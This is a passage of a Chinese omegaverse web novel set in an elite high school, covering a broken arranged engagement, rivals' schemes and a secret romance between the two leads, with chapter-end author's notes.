由哪家先提出来取消联姻这点很重要,如果是隽家先提出来,那么叶馨言作为被隽家抛弃的棋子,在今后一定会遭遇耻笑。 但是,如果是叶家先提出来的,那就不一样了,还能说是为了女儿的幸福不愿意牺牲女儿联姻种种还能勉强落个稍微好点的名声。 隽云和她擦肩而过。 叶馨言站在原地脸色苍白血色尽失,隽云的语气非常冷静非常地绝对,似乎没有挽回的余地了? 她对着隽云的背影大喊:“我绝不同意取消婚约,你也别想你不能一意孤行!!!伯父伯母是不会同意的!” 隽云没有理她就走了,气的叶馨言狠狠踢了踢捐款白墙。 好半响,一道声音从另一边传出。 “由不得你不同意。” 叶馨言浑身一抖,她转身看去,那是匙越,他看着她,单手插兜,从转角走出来。 不知道偷听了多久。 叶馨言恨恨咬牙切齿,音量提高了:“都听到了是吧?好啊我告诉你,别得意,我和隽云已经订婚了,隽家不会同意他擅自取消联姻的!” 昨天的宴会叶家也被邀请了,天知道她在宴会上等待那位闵家新认回来的儿子时,有多暗暗得意。 私生子最不得宠爱,何况还是这么晚才认回来的流落在外的儿子,能有多受器重? 就算是个alpha,就算在他们这个圈层的人面前承认了他的身份,但是怎么比得过她?那人和闵家失联了近二十年,肯定又穷酸又土,在她面前看到她了还不是要巴结她? 只是,没想到出来的是匙越。 那个社会招考生。 摇身一变,成了闵家的儿子,闵家有继承权的alpha儿子。 他梳着背头,穿着合身得体的西装,不沾一丝穷酸样,在众人面前举着酒杯意气风发,言笑晏晏,十分刺眼。 甚至面带微笑,朝她举了举杯,点名她:“叶小姐怎么不喝?对我有意见?” 回到现在,看着匙越现在的模样,虽然依旧穿着星耀中学的校服,但是气质都变了。 叶馨言气急败坏:“你别以为攀上了闵家这条高枝就了不起。” 叶馨言威胁匙越:“再不滚,我就把你们俩的事情告诉隽伯父隽伯母,你以为隽家能接受一个私生子吗?我死也不会和隽云取消联姻的。” “不取消联姻?” 匙越不怒反而唇角勾起,讽刺地笑了一声,他盯着叶馨言,缓缓念出来一个名字。 那是叶馨言之前派去给隽云下药的侍从,是导致隽云第一次发情热到来的导火索,也是因此,促成他和隽云第一次见面。 命运总是冥冥之中安排好了一切。 匙越:“这个人,你应该很熟悉吧?” 叶馨言的脸色顿时白了,手脚发抖:“你你怎么会知道他”—— 作者有话说:情敌自己赶 评论区发red《 》 60-70 第61章 第六十一章 “偷情。” 难怪她始终觉得, 匙越在针对她。 匙越说:“九月二十三号晚上的聚会,你百般要求隽云去,是因为你打算故技重施, 对吧? 叶脸色顿时难看无比,为什么这件事他也知道? 匙越说:“你想要证据的话, 我手里有太多了。” 匙越嘴角缓缓勾起:“我知道的事情还有很多,你最好祈祷我这段时间心情不错。” “A国法律,恶意骚扰omega, 给omega下药, 你觉得你会被判几年刑?” “你敢”叶馨言咬牙切齿道。 她不信匙越本事通天了,还能把她送进监狱。 叶馨言:“你还是太天真了, 就算你有证据能把我送进去,以为叶家是吃素的吗?我家是做什么的你不会不清楚,你以为你动得了我吗?” 匙越:“那就看是叶家厉害, 还是闵家厉害了。” “什么意思?” 他要让闵家出手? 她爸爸是检察院院长,和政府委员长,也就是和隽云的爸爸鼎立,在政界上数一数二。 但是除去这层地位,闵家在商业上已经成为隽家最强劲的劲敌, 而综合实力来说, 她家自然比不上闵家,不然她也不会在二班了。 匙越嗤笑一声:“我再给你一个星期的时间,自己提取消联姻,否则,我就帮你一把。” 匙越丢下一句话:“你也不想吃牢饭吧?” 牢饭?叶馨言从来没想过家里审讯过这么多的犯人有朝一日会轮到她进去,而她自知她也没做什么啊? 她快被气疯了,脸色十分难看, 在他走后,拿出手机打电话给李恩惠,电话接通的一瞬间劈头盖脸骂了她一顿,然后问她: “上次的事情谁最有可能泄密?一定要把那个人揪出来!” * 第二天,隽云来教室后把手表取下来交给那个男生。 没说什么,他就进了教室,拿出作业交给前来收作业的课代表们,然后准备预习一下等会儿要上的课。 他昨天和叶馨言说了,要她主动提出取消联姻,昨晚爸妈回来的时候他有问他爸妈,叶家是否还要联姻。 他爸妈说当然,这是板上钉钉的事情,并且通知他一个事,他们决定提前婚期,让他好好和叶馨言培养感情,等到明年过完年就会开始准备他和叶馨言的婚礼。 隽云看着书,脸色有些冷寂,再最多等叶馨言几天,如果她还不肯主动提出解除联姻,他就自己提。 他不会和叶馨言结婚。 感应似地,抽屉里的手机传来震动,隽云拿出来,解开黄胖猫锁屏,消息栏是匙越发来的消息- sy1011:在干嘛呢? 隽云捏着手机转头看去,匙越单手撑着头在看他,非常正经阳光的模样。 隽云转过来,手机很快又传来震动- sy1011:想抱抱。 隽云读了两遍,又转头去看匙越,他很单纯无辜地看着他。 很难想到背后是那么黏人的一个人。隽云心跳快了一点。 “咳。”后面的陆思华咳了一声,提醒似地让隽云回过神来。 他转回头,然后回匙越:我争取早点解除联姻- sy1011:来天台吗? 又要去天台 最近隽云都觉得最近太昏头了,每天都要去天台,几乎每节课都要来问。 然后隽云耳朵红红,嘴也红红地回来,匙越插着兜慢悠悠地紧随其后。 隽云迷瞪地看着匙越又给他发的消息,心想又要亲他了- 云:不亲- sy1011:Q口Q!!!- 云: 看了一下时间,马上又要上课了,今天早上上老棠的课的时候她说今天下午在大礼堂有一节电影赏析。 隽云抿了抿唇,很快传来一阵刺痛,他就松了口。 昨天下午亲的太过分,匙越都把他亲破皮了 匙越看着那人笔挺的背影,不无可惜地叹了口气,看来今天不给亲了,他给隽云改了个备注,早就想改的。 他准备关掉手机开始写作业,就在这时收到了隽云的消息- 软软绵绵小云朵:下午。 * 下午最后两节课是所有高三年级一起上的电影鉴赏课,全年级近一百五十个人坐在大礼堂,依旧没有坐满,后面几排空荡荡。 隽云没有坐中间位置,这次既不是讲座也不是什么重要的比赛活动,所有人都是随便坐的,叶馨言给他占了座,朝他招手,但是见他真的看过来后又欲言又止,非常踟躇,看上去似乎有话要和他说。 隽云没坐过去,而是坐文强旁边。 文强探头探脑:“诶陆思华和柳元誉都坐在第一排,我们要不要也过去?” 隽云坐在靠走道的位置:“要去你去。” 文强就听出来他不想去了,旁边有人坐下来,他转头看去,是五班的一个女生,没记错的话是叫什么悦 探头一看,五班几乎都在侧边后排的位置坐着,就她坐过来了。 文强不免八卦之心燃起,小声问她:“诶,你怎么坐过来了?” 方悦礼咬唇,摇了摇头。 侧前方的柳元誉似有所察,转头在五班的方阵没看到方悦礼,视线一扫就看到她坐在他身后,扎着双马尾,身体薄弱,抬着眼看他。 他不悦地“啧”了一声:“不是让你坐我旁边吗?你坐在那里干什么!?” “柳圆圆!”文强被他吓了一跳,打抱不平:“那么凶干什么啊?人家想坐哪坐哪,你少在那指挥,你是指挥家吗?” 柳元誉眉眼压下来:“我给她爸出了几百万的医药费,叫她坐到我旁边来都不行?” “”文强顿时噎住了。 嘿?有钱还真是有道理。 那个女生垂下眼,眼框顿时红了,她起身,对文强鞠了个躬,然后就要绕过座位去第一排。 柳元誉最讨厌看到她这个样子,大手一挥:“滚,不愿意来就别来!” 女生停下脚步,看着他,就在这时匙越过来了,他手里拿着一盒巧克力,从里面拿出一条递给旁边的文强,还有方悦礼: “麻烦往旁边坐过去一个位置,谢谢了。” 他又拿出几条往旁边的人递过去,于是零零散散坐在位置上看戏的人都往旁边挪了一个位置。 隽云旁边就空出来了一个位,隽云抬眼看他。 匙越彬彬有礼:“同学,好巧啊,空了个位置出来,那我坐你旁边吧。” 隽云:“” 真有他的。 四周都安静下来,有些人不明就里,对他们俩的影响还停留在开学那会儿老死不相往来的架势,见匙越要坐隽云旁边,不免提起了心: “他俩坐一起没事吧?” “不会要打起来吧?” “等会儿要上课啊,疯了吧。” “隽云会让他吗?” “隽云应该都不会理他吧?” 文强很高兴地撕开包装,从里面抽一根巧克力出来吃:“正好饿了。” 方悦礼抬眼,看了一眼柳元誉的方向,然后拿着手里的巧克力,还是犹豫着坐下了。 柳元誉坐了一会儿就起身,自顾自地就绕过第一排,经过匙越的时候,不客气地从他的巧克力盒子里抽出来一包,然后从隽云文强面前经过,坐到方悦礼旁边了。 文强“切”了一声,嚼着巧克力说:“神经病!” 隽云起身,往旁边坐了一个位置,红丝绒的靠椅坐起来弹软舒适。 匙越坐下来的时候甚至能感受到隽云刚离开的温度,温热的。 隽云的手心朝上,伸到他面前:“我的呢?” 给了他们这一排所有人巧克力,就是没给他,但是他也挪座位了,这样不公平。 匙越往下倒了倒巧克力盒子,里面已经空了,隽云就没什么表情地移开了视线。 给了所有人,就是不给他? 早知道不给他让位置了。隽云有点不高兴。 “没有了,介意吗?”匙越说。 隽云看起来不在意,张口就说:“不介意,我也不喜欢吃。” “那我介意。”匙越笑了笑,他从口袋里拿出一个金纸包裹着的巧克力球,放到他的手上:“这个是给你的。” 他怎么是独一份。 隽云一愣,旁边的文强余光看到他们在偷偷摸摸的了,大叫:“你们在干什么?” 隽云赶紧把巧克力收起来了,金箔纸抵在手心,爱心形的巧克力球捂在手心里,手心都要出一点汗,他按下脸上的热意: “没什么。” 很快就要上课了,老师在后台播放了一个国外的电影。 文强昨晚打游戏打到很晚,这电影还是全外语版的,看着看着,他的眼皮打架,靠在椅背上昏昏欲睡。 四周的灯都关上了,隽云眉眼冷淡,在专注地看电影,直到放在膝盖的手被人碰了碰。 他敏感地转过头,匙越坐着也比他高一个头,身板挺正,目视前方。 “?” 下一秒 ,隽云的手就被人牵住了,他缓缓低头:“?” 匙越的手指挤入他的指间,很奇怪的是他的指间都有茧子,磨的他的手指有点疼,幸而匙越很快松了点力道,只是牵着他的手,没做别的。 隽云转头看了一下后面,后面是别的班的,不认识,但是座椅之间离得近,是能看到他们在做什么的,所幸后座的人看电影看的认真,没人看他们在干什么。 隽云轻轻晃了晃手,示意他松开,感受到了隽云的挣扎,匙越就松开了。 再看看电影,就没有刚才那么投入了,隽云没了看电影的兴致。 他低着头,深呼吸,然后起身说:“借过。” 匙越就侧了一下身子,然后隽云擦着他的腿出去了。 * 大礼堂有独立的卫生间,卫生间装修的富丽堂皇,暖黄的灯光洒下来,隽云上完厕所记后拧开水龙头洗手,然后烘干。 出来的时候看到有个人穿着星耀中学校服,在外面等他。 那人体格欣长,眉眼沉俊,见他出来了,从靠着的墙边起来走到他面前,走廊空旷,只有他们两在,隽云疑惑问:“你怎么来了?” 匙越:“等你。” 隽云:“等我干什么?” 匙越喉结滚动,好半响说:“不是你说的下午吗。” “”原来是因为这事。隽云看着他,挪开了视线,看向地面。 匙越的手伸到他面前晃了晃:“怎么了?” “没什么。”隽云不自在:“那你跟我来吧。” 大礼堂旁边有一个器材室,里面放着一些老旧设备,门是木门,年久失修,退一下就会吱呀吱呀地响。 隽云把门推开,里面黑漆漆静悄悄,但是这里他们其实来过,开学典礼那天,他们就是在这里接吻的。 隽云站在门口,耳朵越来越红,说出去的话泼出去的水,他反手抓住匙越的衣领,把人拽进来。 把匙越扯过来总是一件十分顺手的事情,即便对方一米九也根本不需要用力,因为对方总是会顺势整个人都压过来了。 匙越非常熟捻地搂住他的腰,像在玩什么play一样,用非常正经的语气问他: “同学,你把我带来这里有什么事情吗?” 非常明知故问。 隽云的呼吸烫了一点:“我我” 本来带他来这里就不是干正事的,匙越也清楚,可是真要从他口里说出来就怎么说怎么变扭。 “我知道,你想和我偷情。”匙越在他耳边说。 细微的风顺着他磁性的嗓音吹进耳朵骨里面,隽云的耳朵麻了麻,他偏过脸去,刚想说不是的,就碰到了匙越的嘴巴,像是他故意亲过去的一样—— 作者有话说:[饭饭][饭饭][饭饭][饭饭][饭饭][饭饭]开饭了小的们。 评论区发脆脆啵小红包 第62章 第六十二章 “不要,不行。”…… 匙越呼吸一顿, 按住隽云往后躲的脑袋,更深更重地吻了上来。 水渍声在一方小天地内响起,隽云被含着唇, 眼睛雾蒙蒙地半睁着,腰软着往后仰, 被他搂在怀里靠近亲,外面天光刺眼,门开着, 傍晚的光线投下来, 在黑暗阴影处投下一片光亮,隽云这才想起来, 门没关。 他的手抵在他的胸口上,作势要躲,张口说话却被亲舌头, 只能一边躲一边笑着气喘吁吁地说:“门关门” 温软的唇格外好亲,匙越亲着他,牵着他的手,让他把手挂在他的脖子上,低头吻他, 另一只手反手把门关上。 虚虚掩掩的门还透着一丝光亮, 一行明亮的光线照进室内,劈开黑暗,隽云的目光落在地板上,那里有七彩的光晕,灰尘上下浮动,既温暖,又幸福 亲了一会儿, 整个人被匙越现在越来越高超的吻技弄的晕头转向迷迷糊糊 隽云一个激灵,清醒了不少,隽云叫他:“匙越” 软糯的声音含含糊糊,拉长了,叫他的名字更是情动无比,匙越浑身都兴奋起来,吻流连到他的脖颈上。 隽云忍了一下,还是忍不住红着脸咬牙道:“手!别伸我衣服里” 说完他喘息了一下,抑住喉咙里的声音,呼吸都凌乱了,勉强从鼻音里挤出来一句溃不成音的话,尾音颤抖,声音甜腻地上扬,在破音的边缘,强调了一遍:“不要,不行” 匙越吻上他的唇,掐着他的腰,隽云偏开脸,他大口大口喘气。 “” 他低着头,软绵的手抵在他的胸膛上,声音很闷地说:“这里、这里是学校。” 耳朵红透了,他好半响说:“不能那样” 受不了,他把匙越的手抓住,拉出来,喘着气和他稍微拉开了一点点距离。 “校规禁止alpha和omega交往过密。”隽云越说越有底气:“难道你忘了吗?” 说着说着,他越想越气,恶狠狠地说:“学生代表。” 那时候匙越还因为这个要处罚他和叶馨言呢。 现在又跟他这样那样地做违反校规的事情。 匙越低头凑近,在他的脸颊上亲了亲:“好吧,不交往过密。” 隽云:“” 一边说不交往过密一边亲他脸蛋干什么。 嘴唇潋滟着水光,隽云勾着他的脖子,舔了舔唇,知道他难受,主动吻了上去 回到大礼堂的时候他们是从后面进的,并且是隽云先进来,他让匙越晚点一两分钟再进来,免得引起别人怀疑。 旁边的文强还在睡着,再旁边的方悦礼僵坐着在看电影,柳元誉朝他瞥了一眼,皮笑肉不笑地,诡异冷嗤了一声。 隽云面庞冷白,看似冷淡又浑若无事地坐下来,只是唇上被压着的温度还如影随形,挥之不去。 在储物间的时候感觉出来的时间太久了,并且他要喘不过来气了,就挣扎着让匙越放开他。 被放开的时候他腿一软,差点跌倒在地上,幸好被匙越及时地捞了一下,往上一提,这才站稳。 在匙越的怀里喘了会儿气稍微缓过来后,就理了理凌乱的衣领,叮嘱他别和他一起进大礼堂,不然所有人都知道他和匙越一起在外面待了半个多小时了。 他先进来了,本来以为最多五分钟匙越也该进来了,但是又等了半个小时,电影要放完了,匙越才姗姗来迟。 隽云坐的板正,手交叠放在膝盖上,整个人整整齐齐白白净净,他正着头,视线却缓缓偏移到匙越的身上。 为什么这么晚才来? 视线下移,看到匙越的手搭在膝盖上,手背有没擦干净的水痕,应该是厕所洗了个手。 去厕所 所以,那时候硬硬地抵着他的是 隽云想到什么,视线被烫到似地仓皇移开了。 接下来就没再和匙越说过话,匙越又磨磨蹭蹭地想要牵他手也甩开不给牵了 下课后众人起身往外走,文强睡了一节课,醒来后打哈欠不停,他伸了个懒腰:“好爽——” 隽云和匙越等前排的人走的差不多了才起身往外走,文强一蹦三跳地跟上。 柳元誉被老师留堂,说是有他家里的事要问他。 等回到教室了,他们才知道出事了。 回教室的途中,叶馨言把方悦礼叫去了捐款石壁后面,然后把她推下了旁边的湖泊。 十二月的湖水冰凉刺骨,已经有一层薄薄的冰面层,支撑不住人,几乎是“咚”一声,冰面层裂开,沁凉的水疯狂钻入体内,吸饱了冷水的棉服如铅球似地,拽着她往下沉。 方悦礼本来就身体弱,又不会游泳,她在冰冷的湖水里挣扎了好一会儿,惊惧地尖叫挣扎,试图求救,但是碍于叶馨言的面子,没有人敢下去救她。 所幸没多久,柳元誉及时赶到,他脱下校服丢在地上,跳下去把她捞了上来。 拖上岸的时候方悦礼已经不省人事了,再晚点来她都没命了。 当时据现场的人转述说,柳元誉给她做了人工呼吸,又给她按压了心肺。 等她吐出来呛进的水后,又把方悦礼厚重的校服外套脱了丢地上,把他的校服裹在方悦礼身上,把她打横抱起。 抱着方悦礼经过叶馨言的时候,柳元誉的脸上滚着水珠,神情非常可怕,对叶馨言说: “你最好给我一个合理的解释。” 围观的人都在哗然,柳家这是要向叶家开火了? 当天晚上,匙越听说了这件事后特地翻出来柳元誉在早八百年前发来的联系人申请,通过了。 —sy1011:听说今天下午叶馨言把方悦礼推下湖了? 等了一个小时没得到回复,他就专程拨通了他的电话。 电话那头还能听到病房心脏监护仪发出的“滴滴”声,很快,房门合上,安静下来,柳元誉压着声音: “什么事?我很忙,有话快说。” 匙越不紧不慢:“叶馨言的事,你打算怎么处理?” 电话那头的柳元誉冷笑一声,说:“我怎么处理?警察的事问我干什么?我又不是警察。” 好半响他似乎是想起来叶馨言有个未婚夫,而未婚夫又跟这个打电话过来的人有点苟且之事,他冷笑一声: “这件事任何人都不许插手,包括叶家,隽家,还有闵家。” 匙越唇角勾起:“我想你误会了。” 彼时匙越在闵家的一场私人宴会厅的角落,手上捏着高脚杯轻晃,高大玻璃墙倒影出他的身影,他的表情阴狠: “我只是想帮你,再添一把火。” 隽云第二天早上吃早餐的时候,看到桌上的报纸才知道,叶馨言被警察蜀的人带走了。 具体什么罪名没写,但这个消息一出,就爆炸一般,早上文娱频道、财经频道都报转播了检察院院长的独女alpha犯罪被抓的消息。 隽云吃完早点,拎起外套出了门。 到学校不算早,之前换手表的那个omega已经在教室门口等他。 男生身体瘦弱,戴着眼镜,脸埋在围巾里,接过来戴上的时候,他不是很高兴地说:“恭喜你了,你和匙越还挺般配。” 隽云皱了皱眉:“什么意思?” 男生无所谓地耸耸肩膀:“你还不知道吗?匙越其实不是社会招考生。” 他说:“他是闵荣的儿子,不过还没正式向外界公布而已。” “你说什么!?” 隽云的神色有一瞬间的惊愕。 匙越不是社会招考生? 男生挑眉,他转了转手腕上的手表:“你不知道吗?” “这个事情他居然没跟你说?现在可是谁都知道了。” “什么啊,那你们也不是关系那么好嘛。”他嘲讽一笑:“我还以为他真的喜欢你呢,这都瞒着你。” 隽云却无力反驳,他愣在原地看着男生的背影渐渐远去,脸色逐渐变得有点难看。 瞒着他 这到底是怎么回事 已经冬天了,天色似乎总是暗着的阴沉沉,凉风透过光秃秃的枝桠毫不留情地扑在他身上,走廊上其他人的声音都远去了,隽云感觉浑身的血液都在回流,浑身冰冷。 十二月的天气非常冷,他扯了扯嘴角,哈气形成的白气一瞬就消失,他自嘲地笑了笑,胸腔开始陷入沉闷的难过,他回想起了事情的一切。 实际上早有端倪,是他一直没有去细想而已。 最简单的,当初他爸妈为什么没有对匙越出手? 他们这么在意联姻会失败,从小培养到大的他会做出出格举动,但是在知道彻夜不归,在外留宿了一晚之后,会对那个alpha放任不管吗? 没有对那个alpha出手,甚至也没有强制他退学,不动匙越,是看他家境贫寒,动了恻隐之心才放过他吗? 怎么可能 唯一的可能就是,他爸妈都知道了,那个社会招考生,家境不一般,背后靠着的人,是闵家 隽云脑海一片混乱,只是看着神情还和平日无异,没什么表情地迈步往教室里走去,只是心情非常复杂。 闵荣,也就是荣华集团的老总,铭升集团的对家,他爸妈的死敌。 怎么会 他怎么会是闵荣的儿子 接二连三的消息炸在他的耳边,先是叶馨言,再是匙越,回到座位坐着的时候,他甚至连文强喊他的名字都没听见。 文强拿着他家印刊的报纸隔老远就朝他挥手,一直喊隽云的名字,见他魂不守舍地没反应,便直冲他而来,进了教室后一把报纸砸在他的桌上。 他握着他的肩膀摇晃,非常激动:“小云云!!!你不用联姻了!!!你恢复自由了!恶人自有恶人收,你快看!!” 周围的人都看了过来,事情还没有终端定论,于是文强小声了一点,在他耳边说: “那个叶馨言!她被抓了!!!真是没想到啊,这个检察院院长的女儿整天借着和你的联姻耀武扬威的,今天也是被制裁了。” 他指了指柳元誉的座位,说:“还得是柳家啊,有钱!谁来保叶馨言都不好使。” 旁边桌的柳元誉的座位是空着的,再旁边过去一个位置的李恩惠的位置也是空的。 叶馨言把方悦礼推下水的事情他也有所耳闻,但以她的身份,即便有错,顶多校内给个处分,或者公安机构给予口头批评校园霸凌也就过去了,不至于会扣押到警察署。 文强家消息是最灵通的,向来不会出错,但是隽云怎么想都觉得不对,问:“叶馨言是什么罪名?” “噢噢!!这个我也知道!”文强兴奋地掰着手指头数着:“猥亵未遂罪、侵犯omega人生安全罪、霸凌罪,数罪并罚,才被逮捕了。” 他一脸神秘,脸上眼睛里都泛着八卦的光芒:“听说今天方悦礼也没来上学,你说叶馨言欺负方悦礼把她推水里去是霸凌,侵犯omega人身安全罪那她以前还做了什么啊?毕竟她可是又被人检举了对omega猥亵未遂啊!” “你说这个叶馨言还真是不老实,都和你订婚了还猥亵omega?这个alpha还真是可怕啊” 隽云哑然,他头脑一片混乱,甚至都不知道该做何感想,只能看向匙越的位置。 然而那里的座位也是空的,甚至书包都没有放在椅子上。 匙越今天也没有来上课。 就在这时,后桌的陆思华淡淡出声:“有两道势力压着叶家,不允许他们出手保释。” “除了柳家,还有谁出手了?”文强疑惑问。 陆思华:“闵家。” 隽云顿时一怔。 陆思华看着隽云:“匙越是闵家的私生子,这件事你知道吗?” “我我不知道。”他刚刚才知道,隽云喉头艰涩:“你又是什么时候知道的?” 陆思华:“那时候在游学的时候,我就查到了。” 没想到他知道的那么早,隽云喃喃:“我是最后一个知道的。” 居然瞒他瞒到最后。 匙越一直在骗他。 陆思华凝视着他:“隽家和叶家的联姻恐怕要取消了,恭喜你。” 第63章 第六十三章 “想我了吗?” 隽云却并不觉得多喜悦, 他现在就想知道,匙越到底瞒了他多少事情?是从什么时候开始瞒着他的? 是不是从一开始,他就知道他自己不是社会招考生, 却始终在骗他? 他跑去走廊,打通了匙越的电话, 电话那头收音不是很好,传来的声音不是很清晰,好像隔着一层薄膜说话一样, 始终无法让人窥见真实的样貌。 又带着一股说不清的温柔。 或许这种温柔根本就是他的错觉:“喂?小云朵。” 谁是小云朵? 隽云的神情茫然了片刻, 却无心问他这个了,他呼出一口气:“你在哪?” “家里暂时有点事情, 已经和老师请假了,今天不去学校。” 撒谎。 根本不是家里有事,是在处理叶馨言的事情吧?隽云微微眯起眼睛, 眸光冷冽。 “那你什么时候来学校?我有事要问你。” 大概是察觉到隽云的不对劲,匙越问他:“怎么了?” “什么时候来学校?”隽云又问了一遍,语气非常强硬。 “明天就来了,怎么了?”匙越笑了一下,然后他压低声音:“是不是想我了?” “” 隽云:“我明天大课间在天台等你。” 对面传来一阵嘈杂的声音, 大概是有人在他背后说话, 然后是一阵脚步声,匙越说:“好,我看了一下天气预报,明天气温有点低,记得多穿点。” “嗯。”隽云挂断了电话。 如约到了第二天的大课间。 漆了蓝漆的天台门锁响动,被人拉开门闸推开,发出晃悠的声音。 今天的风有点大, 隽云的衣服被吹响,匙越推开门的时候就是看到的这样一副景象。 隽云站在杂乱的天台上,风把他的发丝扬起,看过来的那一眼因为冷或者被风吹的眼眶泛红,眼尾长长瞥过来,黑色的瞳孔在白皙的脸庞衬托下似乎有些莹亮,倒映着一点眼底的水光。 整个人看上去像是一抹飘摇欲坠的云朵,瘦削单薄的身体晃荡,随时要随风飘走了。 匙越听到他吸鼻子的声音,走近,双手环绕住他,捞住这朵飘摇的小云朵,把他从后搂在怀里,问他: “冷不冷?” 寒意从脚底漫上脖颈,隽云被人从后抱了个满怀,他眼眸转动,侧过脸看他,唇色有些苍白:“来了?” “怎么在这吹风。”匙越牵住他的手,皱了皱眉:“手这么冰,不是发消息说了找个有挡风的地方等吗?” “还好,不冷。”隽云说。 匙越抱着他,把他带到一个有铁皮棚子挡的角落,让他蹲下来,站着风大。 匙越自顾自地绕到隽云面前,和他面对面,温厚的大手包裹住他的手,然后把手放到他自己兜里揣着了。 呼呼的风声将铁皮吹的哐啷响,两个人却仿佛形成了一个温馨又温暖的结界,小小的一片安全区域,将他们二人所处的地界与外面的风雨隔绝开来了。 匙越的口袋宽敞,温暖,他的体温透过棉服传过来,连带着粗粝的手掌都在轻轻摩挲着他。 只是前一天那个omega的话盘旋在隽云的脑海里挥之不去,一边是匙越明显的喜欢,另一边是略带嘲讽的声音,在他的左右脑博弈: “我还以为他有多喜欢你呢?这都瞒着你。” 隽云的手被他捂着着,冰冰凉凉的手很快就被捂热了,看到匙越笑吟吟地邀功:“现在暖和了吗?” 隽云看着他,手指动动,没头由来地说:“骗子。” 匙越始料不及:“嗯?” 隽云:“你昨天干什么去了?” “啊,那个啊——”匙越拖着声音,脸不红心不跳地懒散说:“昨天家里有事。” 看起来毫不在意。 “骗子。”隽云突然生气,揭穿他:“是叶馨言吧?” 他看着人模狗样的匙越,上下打量他,冷笑着戳穿他的伪装:“小闵总真是今时不同以往了。” 时间好像都停滞住了。 此话一出,匙越知道他知道他瞒着他身份的事情了。 “”匙越一噎。 还是没瞒住,问他:“你怎么知道?” 那日宴会,他分明封锁了消息,没有一家媒体敢报道他的事情,甚至没有邀约隽家的人来参宴,除了有人专程跑到隽云面前提起他的身份,他想不明白隽云怎么会那么快知道他的事情的。 “是谁告诉你的?” 他原本是打算等他处理了闵荣的老婆孩子——何苑以及闵术之后,所有的事情都终结了,再把这一切的真相告诉隽云的。 隽云看着他:“这重要吗?” 重点是他瞒着他,不告诉他他的真实身份,他甚至都不知道他还骗了他什么事,而这个人在和他谈恋爱。 他以为他已经很了解他了,其实对他一无所知。 甚至他是最后一个知道他真实身份的。 匙越还捂着他的手,隽云想抽回去却抽不动,干脆就放弃了,他说:“你是闵荣的儿子?” “我家和闵家的关系,你不会不知道。”隽云喃喃:“你为什么偏偏是闵荣的儿子。” 隽家和闵家视同水火,他们两家的关系已经僵到台面上来了,各种项目都涉及利益分歧,明争暗斗,整个A市正暗暗形成隽家和闵家两队交际圈,而隽家的儿子却和闵家的儿子搅和到一起了。 他都觉得荒谬。 这太离谱了。 隽云想到之前,同样是在这个天台上,匙越告诉他他来星耀是为了一个人。 “你来星耀是为了谁,能告诉我了吗?” 匙越看着他,想替他将额前的发丝撩开,但是隽云的眼神却有了防备,他的手叹息一口气,知道他生气他骗他。 “我还不能告诉你。” 隽云把他的手拍开,猛地从他兜里抽出来了,他起身,面色冷淡地说:“那就这样吧。” “什么那就这样?”匙越仰头看他。 “我最讨厌别人骗我” 还是瞒着他这么大的一件事。隽云忍不住深吸一口气:“我们都先冷静一段时间吧,这段时间别见面了。” 匙越的眉眼骤然沉了下来,就因为这个,他要和他分手? 冷静一段时间是什么意思? 别见面是什么意思? 他要想清楚然后和他一刀两断? 匙越脸色阴沉,他冷声:“你想都别想!!!” “?” 隽云愕然抬头,万万没想到他是这样的态度,两个人各自冷静一段时间都不行?他也未免太过武断说一不二了。 怎么一回到闵家他就变成这样了? 隽云一时间有点恼了,冷笑一声,刚想说也不是由你说了算的。 结果匙越下一秒就起身,搂住他的腰,把他牢牢抱住,温热的怀抱笼罩着他,隽云很快就开始挣扎,拍着他的胸膛,手脚并用地踢他,非常激烈地反抗。 这个骗子。 “放开放开我” 匙越搂的更紧了,他深吸一口气,无可奈何地说:“我说我说还不行吗?” 别分手 “”这说的不情不愿的,隽云依旧挣扎:“你爱说不说!” 他现在还不想听了呢! “我说!”匙越紧紧抱着他:“你听我说!别动!” 隽云挣扎不开,无奈之下,半张脸闷在他的胸膛上,感受到两人疾速的心跳声,他呼出一口气,冷白的面色因为刚才的挣扎有了一丝红润,他气急败坏: “那你说啊!” 匙越飞快组织措辞:“你知不知道匙家?” “我爸当年还是一个穷小子,我妈姓匙,在当时是非常著名的企业家的女儿。” “” 隽云确实有点印象,匙家早在七八十年前确实挺厉害的,在A市也算小有名气。 不过后来没多久就走了下坡路,再后来就改姓了企业,在A市销声匿迹了,甚至很多年轻一代的企业家都没听说过他们家。 匙越:“总的来说,上一代的恩怨十分复杂,我爸把我妈骗到手之后,就开始转移资产,我妈发现后开始和我爸三天两头吵架,我爸掌控了匙家的命脉,几乎把匙家的家底掏空了,甚至另外成立了企业,名字就叫荣华集团。” “后来外公外婆相继去世,我爸出轨有了小三,他和我妈感情破裂,甚至睁一只眼闭一只眼任凭小三把我妈赶了出去” “匙家没落,那时候我妈走投无路,只能去东城区的老宅里住,那是匙家的祖宅,在那最落魄的时候,她发现她怀了我。” 从来没有这么仔细地听匙越说他家的事情。 把他所说的话在脑海中梳理了一下,隽云皱眉:“那你妈妈是你爸爸的第一任妻子?” “没错。” 那他就不是私生子啊 隽云心想,匙越的爸爸是入赘进匙家的,他爸爸和妈妈是原配夫妻。 隽云想到一个人:“那闵术是” “他才是私生子。”匙越冷笑一声:“小三生的种,始终上不了台面的东西。” 隽云沉默,他猜到他不喜欢闵术,屡次看到匙越和闵术走在一起时,他们俩的脸色都不太好。 不过若是换成他,也是应该恨的。 同父异母的弟弟抢走了他近二十年来的父爱、享受了闵家的一切,确实有理由被增恨,不原谅。 尤其是闵术的母亲,当年把有孕在身的母亲赶出家门,在闵家过着优越的生活,而他和妈妈在东城区艰难度日,实在是很难不让人对始作俑者恨之入骨。 隽云就问他:“那你爸爸是什么时候找到你的?” 小三上位,又生了一个孩子,是个不被主流认可继承大统的omega,所以当闵荣得知当年前妻怀着身孕被赶出去的,肯定动了多方打听的心思。 “开学前。” 隽云瞳孔张大,那不就是他发情期那段时期? “是很凑巧,但是我也没想到我会认识你。” 隽云:“那你想要学生代表” 他很聪明,立刻想到了:“你是为了证明给闵荣看?” 匙越抱着他,点头:“有一部分原因也是想告慰我妈在天之灵,更多原因是为了让闵荣在台下能看到我,相信我的能力。” 他如实相告:“我不是在闵荣身边养大的,并且当年的事情实在是他不相信我完全不记恨他,所以闵荣并不完全信任我,甚至在防着我” “所以我最起码要让他相信我的能力,星耀中学的学生代表,我必须要拿到手。” “总之,我不是有意要瞒着你的,当初也没想到会撞上你发情了,所以,就刚好提了这个条件,让你把学生代表让给我。” “原来是这样”隽云的头低了点,鼻子都埋在了匙越的衣服里,闷闷地说: “那如果我没有恰好发情,没有因为需要你的信息素而答应给你学生代表,你会怎么做?” 为了得到学生代表的身份,他会出手对付他吗? 